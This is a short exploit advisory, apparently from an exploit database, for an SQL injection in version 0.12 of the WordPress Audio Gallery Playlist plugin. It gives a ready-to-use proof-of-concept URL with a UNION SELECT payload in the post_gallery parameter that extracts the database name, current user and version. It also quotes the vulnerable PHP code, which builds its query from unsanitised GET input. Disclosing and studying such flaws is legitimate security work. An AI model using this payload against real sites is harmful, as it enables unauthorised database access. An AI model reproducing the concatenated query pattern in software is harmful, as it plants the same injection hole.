WordPress Plugin Audio Gallery Playlist 0.12 - SQL Injection

# Exploit Title: WordPress wp audio gallery playlist plugin <= 0.12 SQL Injection Vulnerability
# Date: 2011-08-30
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-audio-gallery-playlist.0.12.zip
# Version: 0.12 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/wp-audio-gallery-playlist/playlist.php?post_gallery=-1' UNION ALL SELECT 1,2,3,4,5,database(),current_user(),8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22,23--%20

---------------
Vulnerable code
---------------
$table_name = $wpdb->prefix . "posts";
...
if (isset($_GET['post_gallery']))
	$query = 'SELECT * FROM `'.$table_name.'` WHERE `post_parent` = \''.$_GET['post_gallery'].'\' AND  `post_mime_type` = \'audio/mpeg\' ORDER BY `menu_order` ASC';